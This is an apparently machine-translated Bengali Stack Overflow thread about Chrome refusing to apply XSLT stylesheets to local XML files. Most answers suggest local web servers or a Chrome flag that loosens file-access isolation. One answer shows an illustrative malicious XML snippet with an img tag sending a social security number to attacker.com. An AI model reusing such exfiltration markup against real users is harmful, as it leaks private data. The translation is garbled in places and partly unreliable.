স্থানীয় ফাইলগুলিতে ক্রোমকে কোনও এক্সএসএল রূপান্তর সম্পাদন করার জন্য তৈরি করা যেতে পারে?


91

আমি এক্সএসল্টে সন্ধান করছিলাম এবং ডাব্লু 3 স্কুলগুলিতে উদাহরণ দিয়ে পরীক্ষা শুরু করলাম।

তবে আমি যখন ফাইলগুলিতে এক্সএমএল এবং এক্সএসএল সংরক্ষণ করি এবং সেগুলি স্থানীয়ভাবে খোলার চেষ্টা করি, ক্রোম এক্সএসএল রূপান্তর সম্পাদন করবে না won't এটি কেবল একটি ফাঁকা পৃষ্ঠা দেখায়।

আমি <?xml-stylesheet type="text/xsl" href="style.xsl">ট্যাগটি এক্সএমএল ডকুমেন্টে যুক্ত করেছি এবং ফায়ারফক্স এটি দেখার মতো বলে দেয়। এছাড়াও, যদি আমি কোনও ওয়েব সার্ভারের মাধ্যমে ফাইলগুলি দেখি তবে ক্রোম ফাইলটি যেমনটি দেখায় বলে মনে হয় তেমন প্রদর্শন করে।

লিংকটি স্থানীয় থাকাকালীন এটি কি ক্রোমের স্টাইলশিট তথ্য সন্ধান করতে সমস্যা হয়? Href পরিবর্তন করে file:///C:/xsl/style.xslকোনও পার্থক্য হয়নি।

আপডেট: ফাইল: /// * কে একই উত্স হিসাবে বিবেচনা না করার জন্য এটি কোনও সুরক্ষা- নীতিের পার্শ্ব প্রতিক্রিয়া বলে মনে হচ্ছে এটি কনসোলে নিম্নলিখিত ত্রুটিটি উপস্থিত করে:

ইউআরএল ফাইলটি লোড করার অনিরাপদ প্রচেষ্টা: /// সি: /xsl-rpg/style.xsl ইউআরএল ফাইলের সাথে ফ্রেম থেকে: /// সি: /xsl-rpg/data.xml। ডোমেন, প্রোটোকল এবং পোর্টগুলি অবশ্যই মিলবে।


4
file:প্রোটোকল থেকে মনে হচ্ছে ক্রোম একই ডোমেন ত্রুটি ছুঁড়েছে।

4
আইই 11 এ এটি কাজ করে। ক্রোম খারাপ হয়ে উঠছে।
মার্কো ডেমাইও

উত্তর:


74

সংক্ষিপ্ত উত্তরটি "না, সেখানে ব্রাউজারগুলির বিভিন্ন সেটগুলির মধ্যে একটি ব্যবহার করুন "

এটি কাজ না করার কারণটি হ'ল এইচটিএমএল থাকা অবস্থায়, এক্সএমএল ফাইলগুলিকে একই ডিরেক্টরিতে স্থানীয় এক্সএসএলটি ফাইল অ্যাক্সেস করা থেকে অবরুদ্ধ করে ক্রোমটি একটি বিতর্কিত উপায়ে [1] [2] [3] [4] সুরক্ষা উদ্বেগের কারণ হিসাবে রয়েছে ফাইলগুলি একই ডিরেক্টরিতে .CSS ফাইলগুলিতে অ্যাক্সেস করতে পারে।

উপরে বর্ণিত সমস্যাগুলি জুড়ে, ব্যবহারকারীরা একটি পরিষ্কার ত্রুটি বার্তা (যেহেতু ডোমেন, প্রোটোকল এবং পোর্টগুলি বাস্তবে মিলছে) বা কমপক্ষে স্টাইলিং ছাড়াই এক্সএমএল প্রদর্শন করার জন্য বলেছে। ক্রোম বিকাশকারীরা এই অনুরোধগুলি উপেক্ষা করেছেন।


18
যদিও তাদের সুরক্ষা উদ্বেগটি বোঝায়, এক্সএমএল ফাইলগুলি একই ডিরেক্টরি থেকে এক্সএসএল স্টাইলশিটগুলি লোড করতে সক্ষম হওয়া উচিত, যেমন HTML ফাইলগুলি একই ডিরেক্টরি থেকে চিত্র এবং স্ক্রিপ্টগুলি লোড করতে পারে। আপনি তারকাচিহ্নিত করতে পারেন এমন একটি সমস্যা রয়েছে তবে ক্রোম ডেভ দল এতে নতুন মন্তব্য নিষিদ্ধ করেছে - তারা অভিযোগ করেও যে তারা স্থানীয় ফাইলের উত্সটি কীভাবে খারাপভাবে শিথিল করতে চেয়েছিল তারা তা নির্ধারণ করতে পারে না they
ড্যান ড্যাসক্লেস্কু

4
আকর্ষণীয় সত্য: ম্যাকের সাফারি (৮.০) স্থানীয় এক্সএসএলটি-র সাথে ঠিক কাজ করে, তবে আইওএস (৮) সিমুলেটারে সাফারি (এবং আমিও আইওএস-তে অনুমান করি) আমি ক্রোমের মতো একই ত্রুটি পেয়েছি "ডোমেনস, প্রোটোকল এবং পোর্টগুলি অবশ্যই মিলবে।" "। তবে আমি যদি অ্যাপটিতে ইউআইবিউবভিউ বাস্তবায়ন করি এবং এক্সএসএলটি সহ এক্সএমএল লোড করি ঠিকঠাক কাজ করে।
পল ব্রেকউইকনস্কি

ক্রোম ব্রাউজারগুলিতে নির্দিষ্ট এক্সস্লট রেন্ডারিং ঠিক করার জন্য যখন অন্য ব্রাউজারটি ব্যবহার করার সামান্য বিন্দু ...
n611x007

ক্রোমিয়ামের সাথে কাজ করে এমন একটি পদ্ধতি হ'ল এক্সএসএল ফাইলটিকে এক্সএমএল ফাইলে একটি ডেটা হিসাবে পাঠ্য: টেক্সট / এক্সএসএল ইউআরআই।
এরিকল

57

আপনি স্থানীয়ভাবে Chrome এর কমান্ড লাইন পতাকা ব্যবহার করে এটি করতে পারেন।

নির্দিষ্ট পতাকা হয় --allow-file-access-from-files

ওএস এক্স-এ: টার্মিনাল.অ্যাপ চালান /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

উইন্ডোজে: কমান্ড প্রম্পট রান থেকে %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

দ্রষ্টব্য: ক্রোম বর্তমানে অন্যথায় চলমান থাকলে সম্ভবত আপনাকে ক্রোম ছেড়ে যেতে হবে


এই উইন্ডোজ 7 আমার জন্য কাজ করা বলে মনে হচ্ছে না আমি chrome.exe এখানে অবস্থিত পাওয়া গেছে: C:\Program Files (x86)\Google\Chrome\Applicationএবং --allow ফাইল অ্যাক্সেস-থেকে-ফাইল শুধু জরিমানা, executes আদেশ, কিন্তু আমার স্থানীয় XML দস্তাবেজে (ক দ্বারা রুপান্তরিত স্থানীয় এক্সএসএলটি ফাইল) প্রদর্শিত হয় না।
রিক 21:

4
উইন্ডোজ টাস্ক ম্যানেজারের হাত ধরে ক্রোম.এক্স.এই জন্য চলমান সমস্ত উইন্ডোজ প্রক্রিয়া আপনাকে শেষ করতে হবে। আমার জন্য, এটি কাজ করে।
ক্রিশ্চিয়ান শুলজেনডরফ

4
/Applications/Google\ Chrome\ Canary.app/Contents/MacOS/Google\ Chrome\ Canary --allow-file-access-from-filesআমার জন্য কাজ। স্পষ্টতই আমি ক্রোম ক্যানারি চালাচ্ছি। এই কমান্ডটি চালনার পরে, একটি নতুন ক্রোম উইন্ডোটি খুলতে হবে এবং আপনাকে আপনার এক্সএসএল ট্রান্সফর্মটি সম্পাদন করতে দেবে।
SeanLF

4
উইন্ডোজ 7 এ তাত্পর্যপূর্ণ: উইন্ডো কী + আর; "ক্রোম - ফাইল থেকে ফাইল-অ্যাক্সেস-ফাইল"; প্রবেশ করান।
অ্যারন ক্যাম্পবেল

বা পাওয়ারশেলে (আপনার জন্য পূর্ববর্তী ক্রোমগুলিকে মেরে ফেলেছে):get-process chrome | stop-process; start-process chrome --allow-file-access-from-files
অ্যারন ক্যাম্পবেল

15

আপনি যদি ওপিটিতে আটকে থাকতে চান তবে উত্তরটি হ'ল না (যেমন অন্যরা নির্দেশ করেছেন) তবে সমস্যাটি সমাধানের একটি উপায় হ'ল একটি সহজ ওয়েবসারভার চালানো এবং ক্রোমের মধ্যে HTTP- র মাধ্যমে ফাইলগুলি খোলা। যদি আপনি পাইথন ২.x ইনস্টল করেন তবে আপনি টাইপ করে একটি ওয়েবসারভার চালাতে পারেন:

python -m SimpleHTTPServer

বা পাইথন 3.x এ:

python3 -m http.server

এবং তারপরে http://localhost:8000/yourfile.xmlক্রোম ব্যবহার করে ফাইলটি খুলুন । আশা করি আপনি কেবল নিজের কাজটি শেষ করতে চান এবং ফাইলটি ব্যবহার করে এটি খুলতে কোনও গুরুত্বপূর্ণ বিষয় নয়file://


3

এটি Chrome বাগ পৃষ্ঠায় কিছুটা বিবেচনা করার সময় নিয়েছিল - তারা সমস্যাটি কী তা ব্যাখ্যা না করার জন্য তারা খুব আগ্রহী এবং কেন তারা সবাইকে না ভাঙার পরিবর্তে সবাইকে ভাঙ্গতে বেছে নিয়েছিল।

ধরুন আমার কাছে একটি এক্সএমএল ফাইল রয়েছে - আমার হার্ড ড্রাইভে কোথাও - যেমন:

সি: \ ব্যবহারকারীগণ ইয়ান \ ডকুমেন্টস \ ট্যাক্স \ স্টুডিওট্যাক্স রিটারন_2015.xML

এবং একটি দূষিত সত্তা - কোনওভাবে - আমার কম্পিউটারে একটি দূষিত এক্সএমএল ফাইল ড্রপ করতে পরিচালিত হয়েছে, যেমন:

সি: \ ব্যবহারকারীগণ ইয়ান \ অ্যাপডাটা \ লোকালল \ টেম্প \ ট্রোজান ভাইরাস ওয়ার্ম.এক্সএমএল

কল্পনা করুন ট্রোজান ভাইরাস ওয়ার্ম.এক্সএমএলে একটি স্টাইলশিট প্রসেসিং ইনস্ট্রাকশন ( পিআই ) রয়েছে:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>

আক্রমণকারী তখন আমার ব্রাউজারকে স্থানীয়ভাবে সংরক্ষিত trojanVirusWorm.xmlফাইলে নেভিগেট করার নির্দেশ দেয় ।

স্পষ্টতই একটি উপায় আছে যে কোনও এক্সএমএল ফাইল XSD ফাইলের বিষয়বস্তু পড়তে পারে (এক্সএসডি ফাইল দ্বারা পরিবর্তিত হওয়ার পরিবর্তে):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
   <!--And then a miracle happens, and this XML file is able to read
       the contents of the stylesheet xml file-->
<html>
   <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>

কোনও এক্সএমএল ফাইল কীভাবে স্টাইলশিট ফাইল পড়তে পারে তা আমি বুঝতে পারি না। তবে ক্রোম দলটি আশ্বাস দেয় যে এটি একটি বিপদ, এবং এটি সমাধান করা যায় না।

অন্য প্রতিটি ব্রাউজার এটি সমাধান করেছে। তারা এটি সমাধান করেছে কারণ এটি কোনও সমস্যা নয়


3

একটি এক্সএসএল ফাইল অনুসারে কোনও এক্সএমএল দেখার জন্য আমার কার্যকারিতা

ধরুন আমাদের কাছে হেডার সহ কিছু_ফিল.এক্সএমএল রয়েছে:

<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
  1. আমরা ফাইলটি ডাউনলোড করি https://some-site.com/Common.xslএবং এটির পাশে রাখিsome_file.xml
  2. থেকে আমাদের শিরোনামের অংশ পরিবর্তন href="https://some-site.com/Common.xsl"করতে href="http://localhost:8001/Common.xsl"
  3. আমাদের ফাইল সহ ডিরেক্টরিতে চালান - python3 -m http.server 8001
  4. যে কোনও ব্রাউজারে খুলুন http://localhost:8001/some_file.xml

0

আপনি আপনার ব্রাউজার সেটিংস পরিবর্তন করে ক্রোমকে এক্সএসএল ফাইল রেন্ডার করতে সক্ষম করতে পারেন। একটি নিরাপদ পদ্ধতি হ'ল স্থানীয় ওয়েবসার্ভারের মাধ্যমে এটি অ্যাক্সেস করা যেমন ভিজ্যুয়াল স্টুডিও কোড লাইভ সার্ভার বা অ্যাপাচি। পদক্ষেপের জন্য XSLT স্থানীয় ফাইলগুলিতে রেন্ডার দেবে না দেখুন ।

আমাদের সাইট ব্যবহার করে, আপনি স্বীকার করেছেন যে আপনি আমাদের কুকি নীতি এবং গোপনীয়তা নীতিটি পড়েছেন এবং বুঝতে পেরেছেন ।
Licensed under cc by-sa 3.0 with attribution required.